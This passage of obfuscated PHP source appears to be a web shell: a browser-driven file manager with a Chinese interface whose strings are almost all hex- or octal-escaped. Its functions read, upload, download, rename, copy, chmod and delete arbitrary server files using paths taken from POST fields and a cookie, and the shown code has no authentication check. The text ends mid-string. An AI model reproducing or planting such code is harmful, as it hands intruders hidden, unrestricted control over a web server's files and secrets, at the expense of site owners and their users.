$_pages = "\x20\40\x20\40\x3c\x64\154\76\xa\x20\40\40\40\x3c\x64\x64\x3e\xa\x20\x20\x20\40\74\163\160\x61\x6e\x20\143\x6c\x61\x73\163\x3d\42\151\156\42\76\xe3\x80\x80\74\x2f\163\x70\141\156\76\12\x20\40\40\x20\74\163\160\x61\156\76\x3c\57\163\x70\141\x6e\76\12\40\40\40\40\74\163\160\x61\x6e\x3e\74\57\163\x70\x61\x6e\76\12\x20\40\40\40\74\163\160\141\156\x3e\74\57\163\x70\141\x6e\x3e\xa\x20\40\40\x20\74\163\160\141\x6e\40\x73\164\x79\154\145\x3d\x22\164\145\x78\164\x2d\x61\x6c\151\147\156\72\x72\x69\x67\x68\164\x3b\167\x69\144\164\150\72\63\x38\x25\42\76\xa\40\x20\x20\x20\x3c\141\x20\143\x6c\x61\163\x73\x3d\x22\x68\x69\147\150\62\x22\x20\150\162\x65\x66\75\42\x6a\141\166\x61\x73\x63\x72\x69\x70\x74\x3a\73\x3b\73\42\x20\156\141\155\145\75\42\141\x63\164\x69\157\156\x3d\x73\150\157\167\x26\x64\151\162\x3d{$_ipage_file}\x26\x70\x61\x67\x65\x3d\61\x22\40\157\156\x63\x6c\x69\143\153\75\42\x61\152\141\170\x28\164\150\151\x73\x2e\156\141\x6d\x65\x29\42\x3e\111\x6e\x64\x65\170\x3c\x2f\141\x3e\x20\x20\x20\xa\40\40\40\x20\x3c\x61\40\143\x6c\x61\163\163\x3d\x22\x68\x69\x67\150\62\x22\40\150\162\x65\x66\75\42\x6a\x61\166\141\163\143\162\151\x70\x74\72\x3b\73\73\42\x20\x6e\141\155\x65\75\x22\141\143\164\151\157\x6e\x3d\x73\x68\157\167\46\144\151\162\x3d{$_ipage_file}\46\x70\141\x67\145\75{$previous}\x22\x20\x6f\156\x63\154\x69\143\153\x3d\42\141\152\141\x78\50\164\150\x69\x73\x2e\156\141\155\x65\x29\42\x3e\x50\x72\145\x76\151\157\165\x73\74\57\x61\x3e\12\x20\40\40\x20\173\160\141\x67\x65\x73\175\xa\40\x20\x20\x20\74\x61\40\143\154\141\163\x73\75\42\x68\151\147\150\x32\x22\40\x68\x72\x65\146\75\42\152\141\x76\x61\x73\x63\x72\151\x70\164\x3a\73\x3b\73\42\40\x6e\141\x6d\145\x3d\x22\141\x63\x74\x69\157\x6e\x3d\163\150\157\x77\x26\x64\x69\162\x3d{$_ipage_file}\46\160\x61\x67\x65\75{$next}\x22\x20\x6f\x6e\143\154\151\143\x6b\75\x22\x61\152\141\x78\50\x74\150\151\x73\x2e\x6e\x61\155\145\x29\x22\x3e\x4e\x65\170\164\74\57\x61\76\xa\40\40\x20\x20\x3c\141\40\x63\x6c\x61\163\x73\x3d\x22\150\x69\147\150\62\42\x20\150\x72\x65\146\x3d\x22\152\141\166\x61\163\x63\x72\151\x70\164\72\73\73\73\x22\x20\x6e\x61\x6d\145\x3d\x22\x61\x63\164\x69\157\156\75\x73\150\157\x77\x26\x64\151\x72\x3d{$_ipage_file}\46\x70\x61\x67\145\75{$nums}\42\x20\x6f\156\143\x6c\151\x63\153\75\x22\141\152\x61\170\50\164\150\x69\x73\x2e\x6e\x61\155\x65\x29\x22\76\105\x6e\144\x3c\57\x61\x3e\xa\x20\x20\40\40\x3c\x2f\x64\144\x3e\12\x20\x20\40\x20\74\57\x64\154\x3e\12\x53\x3b{$return}\75\x3c\x3c\x3c\x53\12\x20\74\41\x2d\55\40\x72\x65\x74\165\x72\x6e\40\x2d\55\76\xa\40\x3c\144\154\76\12\40\x20\x3c\144\x74\76\12\40\40\40\40\74\163\160\x61\x6e\x20\143\x6c\141\163\x73\x3d\x22\x69\156\x22\x3e\343\x80\x80\74\57\163\x70\x61\156\76\12\40\40\40\x20\74\163\x70\x61\x6e\x3e\xe6\x96\207\xe4\273\xb6\345\220\215\x3c\x2f\x73\160\141\156\76\xa\40\40\x20\x20\74\x73\160\x61\156\76\xe4\xbf\256\xe6\224\271\346\227\266\xe9\227\264\x3c\x2f\163\x70\141\x6e\x3e\12\x20\x20\x20\x20\74\x73\x70\x61\156\76\xe6\x96\x87\344\273\266\xe5\244\247\345\260\x8f\x3c\x2f\163\x70\x61\156\x3e\xa\40\x20\40\x20\74\x73\160\x61\156\76\346\235\x83\xe9\231\x90\x3c\57\163\x70\x61\x6e\x3e\12\40\40\x20\x20\74\x73\x70\x61\x6e\x3e\346\223\215\344\xbd\234\x3c\57\x73\x70\x61\156\76\12\40\40\74\x2f\144\x74\76\12\40\x20\74\x64\x64\40\76\xa\x20\x20\40\x20\x3c\x73\x70\x61\156\40\x63\x6c\141\x73\x73\x3d\x22\x69\156\x22\76\xa\x20\40\40\40\x2d\12\x20\x20\x20\x20\x3c\57\163\160\141\156\x3e\xa\x20\40\x20\40\74\163\x70\x61\156\76\12\x20\40\40\40\x20\x20\74\141\40\x68\x72\145\x66\x3d\42\152\x61\x76\x61\163\143\x72\x69\160\x74\x3a\73\73\x3b\42\x20\x6e\x61\155\x65\x3d\x22\x7b\142\x61\x63\x6b\x7d\42\x20\x6f\x6e\143\x6c\151\x63\153\x3d\x22\x61\x6a\x61\170\x28\164\x68\x69\x73\x2e\156\141\155\x65\54\61\51\x22\x3e\350\277\224\xe5\x9b\236\xe4\270\212\xe4\270\x80\xe7\233\xae\xe5\xbd\225\x3c\x2f\141\x3e\xa\40\x20\x20\x20\74\x2f\x73\x70\141\156\x3e\12\x20\40\x20\x20\x3c\x73\x70\141\x6e\76\x3c\57\163\160\x61\x6e\76\xa\40\40\x20\40\x3c\x73\160\141\x6e\x3e\x3c\57\163\160\x61\x6e\76\xa\40\40\40\x20\74\x73\x70\x61\x6e\76\74\57\x73\160\x61\x6e\x3e\xa\40\40\40\x20\40\74\163\160\x61\x6e\x3e\74\x2f\x73\x70\x61\x6e\76\xa\40\40\x3c\x2f\x64\x64\76\12\40\x20\173\x66\151\x6c\x65\175\12\40\74\x2f\144\154\76"; $return_file = "\x20\x20\74\x21\55\x2d\x20\x66\x69\x6c\x65\x20\x2d\x2d\x3e\12\x20\x20\x3c\144\144\x20\143\x6c\141\x73\163\75\42\173\143\154\141\x73\163\116\x61\155\x65\175\x22\40\157\x6e\x6d\157\165\163\x65\x6f\166\x65\x72\75\42\164\x68\151\163\56\143\x6c\141\x73\x73\x4e\141\155\x65\x3d\47\x66\x6f\x63\x75\x73\x27\73\x22\40\x6f\156\x6d\157\165\163\145\157\x75\164\x3d\42\164\x68\x69\x73\56\143\154\x61\163\x73\116\x61\155\145\75\x27\x7b\x63\154\141\x73\163\x4e\x61\x6d\x65\175\x27\x3b\x22\x3e\xa\x20\40\x20\40\74\163\160\141\x6e\40\x63\154\x61\x73\163\x3d\42\x69\x6e\x22\76\12\40\40\40\40\40\74\151\x6e\x70\165\x74\40\156\141\155\145\x3d\42\173\x72\145\164\165\x72\156\137\x6c\x69\x6e\x6b\x7d\42\x20\x74\171\160\145\x3d\42\143\x68\x65\143\x6b\x62\157\x78\42\x20\157\156\143\154\x69\x63\x6b\x3d\x22\x61\152\x61\x78\50\x74\150\151\x73\56\x6e\141\x6d\x65\x2c\x33\x29\x22\x3e\12\x20\x20\x20\40\74\57\x73\160\x61\x6e\x3e\12\40\x20\x20\40\x3c\x73\x70\x61\156\x3e\12\40\40\x20\40\74\x61\x20\150\162\x65\x66\x3d\42\x6a\x61\166\141\163\x63\162\151\160\x74\x3a\73\73\x3b\42\40\156\141\155\145\75\x22\x7b\162\145\x74\x75\162\156\x5f\154\x69\156\153\175\x22\40\x6f\x6e\143\154\x69\143\153\75\x22\173\162\x65\x74\x75\x72\156\137\157\156\143\x6c\151\143\x6b\x7d\x22\x3e\173\x72\x65\x74\x75\162\156\137\x66\151\154\145\175\x3c\x2f\141\x3e\xa\x20\40\40\x20\x3c\57\163\x70\141\156\76\12\40\x20\x20\x20\x3c\163\x70\141\156\76\xa\x20\x20\40\x20\40\x3c\141\40\x68\x72\x65\146\x3d\42\152\141\166\x61\x73\143\x72\x69\160\x74\x3a\x3b\73\x3b\x22\x20\x6e\x61\155\x65\x3d\42\x7b\162\x65\164\165\x72\x6e\137\154\x69\156\153\175\42\x20\157\x6e\x63\x6c\151\x63\153\75\x22\x61\152\141\170\50\164\150\x69\x73\x2e\x6e\141\x6d\145\x2c\x32\x29\42\x3e\173\x72\x65\164\165\x72\156\137\164\x69\x6d\145\x7d\74\x2f\x61\76\12\x20\40\x20\x20\x3c\x2f\x73\160\x61\156\x3e\12\x20\40\x20\40\74\163\x70\141\x6e\76\173\x72\x65\164\x75\x72\156\x5f\163\151\x7a\x65\x7d\74\x2f\163\160\141\x6e\x3e\xa\x20\40\40\x20\74\x73\160\141\156\76\xa\x20\40\40\x20\40\74\141\40\x68\162\145\146\75\42\x6a\x61\x76\141\x73\143\162\151\160\164\72\73\x3b\x3b\x22\40\x6e\x61\155\145\75\x22\x7b\x72\x65\x74\165\162\x6e\x5f\154\x69\x6e\x6b\175\x22\40\x6f\156\x63\154\151\x63\153\75\x22\x66\151\154\145\x70\145\162\155\x28\164\x68\151\163\56\x6e\x61\155\x65\x2c\x31\51\42\76\x7b\x72\x65\x74\165\162\x6e\137\x63\150\155\157\144\x7d\x3c\57\141\76\40\57\40\xa\x20\40\40\x20\x20\74\x61\40\150\162\145\x66\x3d\42\152\141\166\141\x73\143\162\151\160\x74\72\73\73\x3b\x22\x20\x6e\141\155\145\75\x22\x7b\162\x65\x74\165\x72\156\x5f\154\x69\x6e\x6b\x7d\42\x3e\173\x72\x65\164\x75\162\156\137\x70\145\162\155\x73\175\74\x2f\141\x3e\xa\x20\x20\40\40\x3c\57\163\160\141\x6e\76\xa\x20\40\x20\40\x3c\163\x70\x61\156\76\12\40\40\40\x20\40\x7b\x69\163\137\x66\157\x6c\144\145\162\175\12\x20\x20\40\x3c\x2f\163\x70\141\156\x3e\xa\x20\x20\x3c\x2f\144\x64\x3e"; $document = array_merge($dir, $files); foreach ($document as $i => $gbk) { $utf8 = self::convert_to_utf8($gbk); $utf8_file = self::convert_to_utf8($file); $className = $i % 2 ? "\x64\144" : "\146\146\x66"; if (is_dir($file . $gbk)) { $return_onclick = "\x61\x6a\x61\170\x28\164\150\x69\x73\x2e\156\x61\155\145\54\61\51"; $return_folder = sprintf("\xa\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x3c\141\x20\150\162\145\146\75\42\x6a\141\166\x61\x73\x63\162\151\160\164\x3a\x3b\x3b\x3b\x22\x20\156\141\x6d\x65\75\x22\x25\163\42\x20\157\x6e\143\154\x69\143\x6b\75\42\146\151\x6c\145\x70\x65\x72\155\x28\164\150\x69\163\x2e\x6e\x61\x6d\145\54\x32\51\x22\x3e\xe9\x87\215\xe5\x91\xbd\xe5\x90\x8d\74\x2f\141\76", urlencode($utf8_file . $utf8)); } if (is_file($file . $gbk)) { $return_onclick = "\166\151\145\167\x28\164\150\x69\x73\x2e\x6e\141\x6d\x65\51"; $return_folder = sprintf("\12\x20\x20\40\x20\x20\40\40\x20\40\40\40\40\74\141\x20\150\162\x65\146\75\42\152\141\166\141\163\143\x72\151\x70\164\72\x3b\73\x3b\x22\40\x6e\x61\155\x65\x3d\42\x25\x73\x22\x20\x6f\156\x63\x6c\x69\x63\x6b\75\42\141\152\141\170\50\x74\x68\x69\x73\56\156\x61\x6d\145\x2c\x34\51\42\x3e\344\270\213\xe8\275\xbd\74\x2f\x61\x3e\40\174\40\12\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\x3c\x61\x20\x68\x72\x65\146\x3d\42\152\x61\x76\141\x73\143\162\x69\x70\x74\x3a\73\x3b\73\42\x20\x6e\x61\x6d\145\x3d\42\x25\163\x22\40\x6f\x6e\x63\154\x69\x63\153\x3d\42\146\151\154\x65\x70\x65\162\x6d\50\x74\x68\x69\x73\x2e\156\141\155\145\x2c\x33\x29\42\x3e\345\xa4\x8d\345\210\xb6\74\57\141\76\x20\174\40\12\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\74\x61\40\150\162\x65\146\x3d\42\x6a\x61\x76\x61\163\143\162\x69\160\x74\72\73\x3b\73\x22\x20\156\x61\155\x65\75\42\x25\x73\42\40\x6f\156\143\x6c\151\x63\153\75\x22\x65\144\151\164\50\51\42\76\347\274\226\350\xbe\x91\x3c\x2f\141\76\40\x7c\40\12\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\74\141\x20\x68\162\x65\146\x3d\42\152\x61\166\141\x73\143\x72\x69\x70\164\72\x3b\x3b\73\x22\40\156\x61\x6d\145\x3d\x22\45\x73\42\40\x6f\x6e\x63\154\151\143\x6b\75\42\x66\x69\x6c\x65\x70\145\x72\x6d\x28\x74\x68\x69\163\56\156\141\x6d\x65\x2c\62\x29\42\x3e\351\x87\x8d\345\x91\275\xe5\220\x8d\74\x2f\141\76", urlencode($utf8_file . $utf8), urlencode($utf8_file . $utf8), urlencode($utf8_file . $utf8), urlencode($utf8_file . $utf8)); } $search = array("\173\x63\x6c\x61\x73\x73\x4e\141\155\145\x7d", "\x7b\x72\x65\164\x75\162\x6e\137\x66\151\154\x65\x7d", "\173\x72\145\x74\165\162\x6e\x5f\164\151\155\x65\175", "\x7b\162\145\x74\165\162\x6e\x5f\x73\151\172\x65\175", "\173\x72\x65\164\165\162\x6e\137\143\x68\x6d\x6f\144\x7d", "\173\162\x65\x74\x75\162\x6e\x5f\x70\x65\x72\x6d\x73\175", "\x7b\x72\x65\164\165\x72\x6e\137\154\x69\x6e\x6b\x7d", "\173\x72\x65\164\165\x72\156\137\x6f\156\x63\154\151\x63\x6b\175", "\173\151\x73\137\x66\157\154\144\145\162\175"); $replace = array($className, $utf8, self::perms($file . $gbk, 3), self::perms($file . $gbk, 4), self::perms($file . $gbk, 1), self::perms($file . $gbk, 2), urlencode($utf8_file . $utf8), $return_onclick, $return_folder); $directory["\x68\x74\x6d\x6c"] .= str_replace($search, $replace, $return_file); } $directory["\x6e\157\144\x65\137\x64\x61\x74\141"] = str_replace(array("\173\146\x69\x6c\x65\x7d", "\x7b\x62\141\143\153\175"), array($directory["\x68\x74\x6d\x6c"], urlencode(str_replace("\134\134", "\x2f", dirname(self::convert_to_utf8($file))))), $return); $pages = str_replace("\x7b\160\x61\147\x65\163\x7d", $_page, $_pages); $directory["\160\141\x67\x65\x73"] = $nums > 1 ? $pages : ''; unset($directory["\150\164\x6d\x6c"], $_pages); $directory["\146\x6f\154\144\145\x72"] = count($dir); $directory["\146\x69\154\145"] = count($files); $directory["\x74\x69\155\145"] = self::G("\x72\165\x6e\164\x69\x6d\x65", "\145\156\144"); $directory["\x6c\x69\x73\x74\x64\x69\x72"] = self::uppath($file); $directory["\155\x65\155\x6f\x72\x79"] = self::byte_format(memory_get_peak_usage()); $directory["\x64\x69\x73\153\x74\x6f\x74\x61\154"] = self::byte_format(disk_total_space($file)); if (true == $msg) { $directory["\145\162\162\157\x72"] = $msg; } unset($dir, $files); if (!ob_start("\157\142\137\147\172\150\141\156\144\x6c\x65\162")) { ob_start(); } clearstatcache(); echo json_encode($directory); ob_end_flush(); unset($directory); die; } function view() { header("\x43\x61\x63\x68\145\55\x43\157\x6e\164\x72\157\x6c\72\40\156\x6f\x2d\143\x61\x63\150\145\54\40\155\x75\x73\164\55\162\x65\166\141\154\x69\x64\141\164\145"); header("\120\x72\x61\147\x6d\141\72\40\x6e\x6f\55\x63\141\x63\150\x65"); header("\x43\x6f\156\x74\145\x6e\164\55\x74\171\160\145\72\x74\145\170\x74\57\x68\164\155\154\x3b\x63\150\141\162\163\x65\x74\x3d\125\124\x46\55\70"); $file = urldecode(self::convert_to_utf8($_POST["\146\151\154\x65"], "\165\x74\146\x38")); ob_start(); $path = pathinfo($file); if (filesize($file) > 1024 * 1024) { die; } if (in_array(strtolower($path["\145\170\x74\x65\x6e\163\x69\x6f\156"]), array("\145\170\x65", "\144\x61\x74", "\155\x70\63", "\162\x6d\x76\142", "\152\x70\x67", "\x70\156\147", "\147\151\x66", "\x73\x77\146", "\147\x7a", "\142\172\62", "\164\141\162", "\163\171\163", "\x64\154\x6c", "\x73\157", "\142\151\156", "\160\x64\x66", "\x63\150\155", "\x64\157\143", "\170\x6c\x73", "\x77\160\163", "\x6f\x67\147", "\x6d\160\64", "\146\x6c\x76", "\x70\160\164", "\x7a\151\x70", "\x69\x73\x6f", "\x6d\163\151"))) { die; } $c = self::convert_to_utf8(file_get_contents($file)); if (!ob_start("\x6f\x62\137\x67\x7a\x68\x61\156\x64\x6c\145\x72")) { ob_start(); } clearstatcache(); $c = htmlspecialchars($c); echo "\x3c\143\157\x64\145\76\x3c\x70\x72\145\76{$c}\x3c\x70\162\145\76\74\57\143\157\144\x65\x3e"; ob_end_flush(); die; } function _mkdir() { if ($_POST["\x64\x69\x72"]) { $mkdir = $_COOKIE["\x50\101\124\110"] . self::convert_to_utf8($_POST["\x64\151\162"], "\x75\164\146\70"); if (true == @mkdir($mkdir, 511)) { $_POST["\x64\151\x72"] = $_COOKIE["\x50\x41\124\110"]; self::show("\346\x96\207\344\xbb\266\xe5\244\271\xe5\210\x9b\345\xbb\272\346\210\x90\xe5\212\x9f"); } else { die("\x7b\x22\145\162\x72\157\162\x22\72\x22\xe6\x96\207\xe4\273\xb6\345\244\271\345\210\233\345\273\272\345\xa4\xb1\xe8\xb4\245\42\x7d"); } } } function chmod() { if ($_POST["\x66\x69\x6c\145"] && $_POST["\160\145\x72\x6d"]) { $file = urldecode(self::convert_to_utf8($_POST["\x66\151\x6c\x65"], "\165\164\x66\x38")); $perm = base_convert($_POST["\160\145\162\155"], 8, 10); if (true == @chmod($file, $perm)) { $_POST["\144\151\162"] = $_COOKIE["\120\x41\x54\x48"]; self::show("\346\235\x83\351\x99\x90\xe4\xbf\xae\346\224\271\346\x88\220\345\x8a\x9f"); } else { die("\173\x22\x65\x72\x72\x6f\162\x22\x3a\42\xe6\226\x87\344\xbb\xb6\344\xbf\xae\346\x94\xb9\345\xa4\xb1\xe8\264\xa5\42\175"); } } } function rename() { if ($_POST["\x66\151\154\145"] && $_POST["\156\145\x77\156\x61\x6d\145"]) { $file = urldecode(self::convert_to_utf8($_POST["\x66\151\x6c\145"], "\x75\x74\146\70")); $newname = $_COOKIE["\120\x41\x54\110"] . self::convert_to_utf8($_POST["\156\x65\x77\156\141\x6d\x65"], "\165\164\146\70"); if (true == @rename($file, $newname)) { $_POST["\x64\151\x72"] = $_COOKIE["\120\x41\x54\110"]; self::show("\xe6\226\207\344\xbb\266\351\x87\215\345\x91\xbd\345\220\215\xe6\x88\220\xe5\212\x9f"); } else { die("\173\x22\x65\x72\x72\x6f\162\42\x3a\42\xe6\226\207\xe4\273\xb6\344\277\256\346\224\271\345\xa4\xb1\xe8\xb4\245\x22\175"); } } } function upload() { $file = $_COOKIE["\120\101\x54\x48"] . basename($_FILES["\165\x73\x65\x72\x66\151\154\145"]["\x6e\x61\x6d\x65"]); if (true == @move_uploaded_file($_FILES["\x75\163\145\162\x66\x69\154\145"]["\164\x6d\x70\x5f\x6e\x61\x6d\x65"], self::convert_to_utf8($file, "\x75\x74\146\x38"))) { die("\74\x73\x63\x72\151\x70\x74\x3e\xa\x20\40\x20\x20\40\40\40\40\40\40\160\x61\162\145\x6e\x74\x2e\x61\152\141\x78\x28\x29\73\12\40\x20\x20\x20\x20\40\x20\40\40\40\160\x61\162\145\156\164\x2e\44\x28\42\154\x6f\x61\144\42\x29\x2e\163\x74\x79\x6c\x65\56\144\x69\163\160\x6c\x61\x79\x20\x3d\40\42\x62\x6c\x6f\x63\x6b\42\73\xa\40\40\40\40\x20\40\x20\40\40\x20\x70\x61\162\x65\156\164\x2e\44\x28\x22\x6c\x6f\x61\144\42\51\56\151\x6e\156\145\162\x48\x54\115\x4c\40\x3d\x20\42\xe4\xb8\x8a\344\274\xa0\346\210\220\345\x8a\237\x22\x3b\12\40\40\x20\x20\40\x20\x20\40\74\57\163\143\162\151\x70\x74\76"); } else { die("\x3c\163\143\162\151\160\164\76\12\x20\x20\x20\40\x20\x20\40\40\x20\x70\141\x72\x65\x6e\164\56\44\x28\42\x6c\x6f\x61\x64\x22\51\x2e\163\x74\x79\x6c\x65\56\144\x69\x73\160\x6c\x61\x79\x20\x3d\x20\x22\142\154\x6f\143\153\42\73\12\40\x20\40\40\40\40\40\40\x20\x70\141\x72\x65\156\164\x2e\44\x28\x22\154\157\x61\144\x22\51\56\151\156\x6e\145\162\110\x54\115\114\40\75\40\x22\xe4\xb8\x8a\xe4\xbc\240\xe5\244\261\350\xb4\xa5\x22\73\12\40\40\x20\x20\40\40\40\40\40\x70\141\x72\x65\156\164\56\x73\x69\144\145\x4f\x75\x74\50\x70\141\162\x65\x6e\164\56\x24\50\42\154\x6f\141\144\x22\x29\x2c\x31\x35\60\60\51\x3b\12\x20\40\x20\x20\x20\x20\x20\40\74\x2f\163\143\x72\x69\160\164\x3e"); } } function copyfile() { if ($_POST["\146\x69\154\x65"] && $_POST["\x63\157\160\x79\146\151\x6c\145"]) { $file = urldecode(self::convert_to_utf8($_POST["\146\x69\x6c\145"], "\165\x74\146\70")); $newname = self::convert_to_utf8($_POST["\x63\157\160\171\146\x69\154\145"], "\165\164\x66\x38"); if (true == @copy($file, $newname)) { die("\x7b\x22\145\x72\162\x6f\162\x22\72\42\346\226\207\xe4\273\266\346\x8b\267\xe8\xb4\235\346\210\x90\345\x8a\x9f\42\x7d"); } else { die("\173\42\x65\162\162\x6f\162\42\72\x22\346\x96\207\344\xbb\xb6\346\213\267\xe8\xb4\235\xe5\244\xb1\350\264\xa5\42\x7d"); } } } function delete() { $file = urldecode(self::convert_to_utf8($_POST["\146\151\154\145"], "\165\x74\x66\70")); if (is_file($file)) { if (true == @unlink($file)) { $_POST["\144\x69\162"] = $_COOKIE["\x50\x41\124\110"]; self::show("\xe6\226\x87\xe4\273\266\xe5\x88\xa0\351\x99\xa4\xe6\x88\x90\xe5\212\x9f"); } else { die("\x7b\x22\145\162\x72\157\162\x22\x3a\x22\xe6\x96\207\344\273\266\xe5\x88\240\xe9\x99\xa4\345\244\xb1\350\264\245\x22\175"); } } if (is_dir($file)) { if (true == @rmdir($file)) { $_POST["\144\151\x72"] = $_COOKIE["\120\101\124\x48"]; self::show("\xe6\226\207\344\xbb\266\345\xa4\xb9\345\x88\xa0\xe9\x99\xa4\346\x88\x90\xe5\x8a\237"); } else { die("\173\x22\145\x72\x72\x6f\162\x22\x3a\42\346\226\207\xe4\xbb\xb6\xe5\244\xb9\xe5\210\xa0\xe9\x99\xa4\xe5\244\xb1\350\xb4\xa5\42\x7d"); } } } function download() { $filename = urldecode(self::convert_to_utf8($_GET["\x66\151\154\145"], "\165\x74\x66\x38")); if (file_exists($filename)) { header("\103\x61\x63\150\x65\x2d\103\157\156\x74\x72\x6f\x6c\x3a\x20\156\x6f\55\x63\x61\143\150\x65\x2c\x20\x6d\165\163\x74\x2d\162\145\x76\141\x6c\x69\144\x61\x74\x65"); header("\x50\162\x61\x67\155\141\72\40\156\157\55\x63\x61\x63\150\145"); header("\x43\157\156\x74\145\x6e\x74\x2d\x44\151\x73\x70\157\163\x69\164\151\157\156\72\x20\141\x74\164\141\x63\x68\155\x65\x6e\x74\73\40\x66\x69\x6c\x65\x6e\141\155\x65\75" . basename($filename)); header("\x43\x6f\156\164\145\156\164\55\x4c\145\156\147\164\150\x3a\x20" . filesize($filename)); header("\103\157\156\x74\145\156\164\55\124\x79\x70\x65\72\x20\141\x70\x70\x6c\x69\143\141\x74\x69\x6f\156\x2f\x66\x6f\162\x63\x65\x2d\x64\x6f\167\x6e\154\157\141\x64"); header("\x43\x6f\156\x74\x65\156\x74\55\x44\145\163\143\162\151\x70\x74\151\157\156\72\x20\x46\x69\x6c\x65\40\x54\x72\141\156\x73\146\x65\x72"); header("\x43\157\156\164\x65\156\164\x2d\105\156\x63\x6f\144\151\156\x67\72\x20\156\157\156\145"); header("\x43\x6f\x6e\164\x65\x6e\164\55\124\162\141\x6e\163\x66\x65\162\x2d\x45\x6e\143\x6f\144\x69\x6e\x67\x3a\x20\x62\x69\156\x61\162\x79"); @readfile($filename); die; } } protected static function uppath($path) { $return = ''; $path = self::convert_to_utf8(rtrim($path, "\x2f")); if (strpos($path, "\57") == 0) { return sprintf("\x3c\x61\x20\x68\x72\x65\146\x3d\42\x6a\141\166\141\163\143\162\151\x70\x74\72\x3b\73\73\42\x20\156\141\x6d\145\x3d\42\45\x73\x22\40\x6f\x6e\143\x6c\x69\x63\153\x3d\42\x61\152\141\170\x28\x74\x68\x69\x73\x2e\x6e\141\x6d\x65\54\x31\x29\42\76\45\163\74\57\141\76", $path, ucfirst($path)); } else { $array = explode("\57", $path); foreach ($array as $i => $value) { if ($i == 0) { $path = $value; } if ($i > 0) { $path .= sprintf("\57\x25\163", $array[$i]); } $return .= sprintf("\x3c\141\x20\150\162\145\146\75\42\x6a\x61\166\x61\163\143\162\x69\160\x74\x3a\73\x3b\x3b\x22\40\x6e\141\155\x65\75\42\45\163\x22\x20\157\156\143\x6c\151\x63\153\x3d\x22\141\152\141\x78\x28\x74\x68\x69\163\x2e\x6e\141\155\x65\54\x31\51\x22\76\45\x73\x3c\57\x61\x3e\x20", $path, ucfirst($value)); } return $return; } } protected static function perms($file, $type = "\61") { if ($type == 1) { return substr(sprintf("\x25\x6f", fileperms($file)), -4); } if ($type == 2) { return self::getperms($file); } if ($type == 3) { return date("\131\55\155\x2d\144\40\x68\x3a\x69\72\x73", filemtime($file)); } if ($type == 4) { return is_dir($file) ? "\x64\151\162\x65\143\164\157\162\171" : self::byte_format(sprintf("\x25\165", filesize($file))); } } protected static function headers() { header("\103\141\x63\150\x65\55\x43\157\156\x74\x72\x6f\154\x3a\40\156\157\55\x63\141\143\150\x65\x2c\x20\x6d\165\163\x74\x2d\x72\x65\166\x61\x6c\151\144\x61\x74\145"); header("\120\162\x61\147\x6d\141\x3a\x20\x6e\x6f\55\x63\141\143\x68\x65"); $eof = "\x3c\144\x69\x76\40\x69\x64\75\42\x6c\157\x61\x64\x22\x3e\12\74\57\144\151\166\76\xa\x3c\144\x69\166\40\x69\x64\x3d\x22\x75\160\x6c\x6f\x61\x64\42\76\xa\x3c\144\x69\x76\40\151\144\75\42\165\160\x66\151\154\145\x22\76\xa\x3c\160\x3e\x3c\x2f\x70\76\x3c\160\76\74\x2f\160\x3e\74\160\76\x3c\141\x20\x68\x72\145\146\x3d\42\152\x61\x76\x61\163\143\162\x69\x70\x74\x3a\73\x3b\73\x22\40\151\144\x3d\42\x63\154\157\163\145\x5f\146\x69\x6c\145\x22\76\xe7\202\271\xe6\210\x91\xe5\x85\263\xe9\x97\xad\x3c\x2f\x61\x3e\74\x2f\160\x3e\xa\x3c\x66\157\162\x6d\x20\x61\143\164\x69\157\156\75\x22\42\40\151\144\75\42\x66\157\162\x6d\61\42\40\x6e\x61\155\x65\x3d\42\146\157\162\x6d\x31\x22\40\x65\156\143\124\171\160\x65\x3d\42\x6d\x75\x6c\164\x69\160\141\162\164\57\146\x6f\162\x6d\55\144\141\x74\141\x22\40\x20\155\145\x74\150\x6f\x64\x3d\x22\x70\157\x73\x74\42\x20\164\141\162\x67\145\x74\x3d\42\x68\151\144\144\x65\x6e\137\146\x72\141\x6d\x65\42\x3e\xa\40\x20\x20\40\x3c\x69\x6e\160\165\164\x20\x6e\141\x6d\x65\75\42\x61\143\x74\151\157\156\x22\40\166\141\154\x75\x65\x3d\x22\165\x70\154\157\x61\144\42\x20\x74\171\160\145\x3d\x22\x68\x69\x64\144\145\x6e\x22\40\x2f\76\xa\x20\x20\x20\40\74\151\x6e\x70\x75\164\x20\x74\171\x70\x65\75\x22\146\151\x6c\145\x22\x20\x69\144\x3d\x22\x75\163\x65\162\146\151\154\x65\42\x20\x6e\x61\155\145\x3d\42\x75\163\x65\x72\146\x69\154\145\42\x3e\40\x20\xa\x20\x20\x20\x20\74\x49\116\120\x55\124\40\x69\x64\75\42\137\146\151\x6c\145\x22\40\x74\171\160\145\75\42\142\165\164\164\157\x6e\x22\x20\166\141\x6c\x75\x65\75\42\344\xb8\x8a\xe4\274\240\346\x96\x87\344\xbb\266\42\x3e\x20\40\40\40\40\40\40\40\40\xa\x20\x20\40\40\74\x69\x66\x72\x61\x6d\145\40\x6e\141\x6d\x65\x3d\x27\x68\151\x64\x64\x65\x6e\x5f\x66\162\141\x6d\x65\47\40\x69\x64\75\x22\150\x69\x64\144\145\156\x5f\x66\x72\141\155\x65\x22\x20\x73\164\x79\x6c\145\75\47\x64\151\163\x70\x6c\x61\171\72\156\x6f\156\145\x27\76\74\57\x69\146\x72\141\x6d\x65\76\40\40\12\x3c\x2f\146\x6f\162\x6d\76\40\x20\xa\x3c\x2f\x64\x69\166\76\xa\74\57\144\151\166\x3e\12\x3c\144\x69\166\x20\151\x64\75\42\x6f\x70\x65\156\42\76\12\74\x64\x69\166\40\x73\x74\x79\x6c\x65\75\42\x70\157\x73\151\x74\151\157\x6e\72\x72\x65\154\141\164\151\166\145\x3b\42\76\xa\74\x64\x69\166\x20\x69\144\x3d\42\x63\154\x6f\163\x65\42\76\xe5\205\xb3\351\227\255\x3c\57\x64\151\166\76\12\74\57\144\x69\x76\x3e\12\x3c\x64\x69\x76\x20\151\144\x3d\x22\163\150\157\167\x5f\x66\x69\154\145\42\x3e\12\x3c\x2f\144\151\x76\76\12\x3c\57\144\x69\166\76\12\x3c\x64\x69\166\40\151\x64\75\42\150\145\x61\144\x65\162\x22\x3e\xa\x20\x20\x3c\x64\151\166\40\143\154\141\x73\163\x3d\x22\x6c\145\x66\x74\x22\76\12\40\40\173\150\x6f\163\x74\175\x28\x7b\x69\160\175\51\xa\x20\x20\74\57\144\x69\x76\x3e\xa\40\40\74\x64\151\166\40\x63\154\141\x73\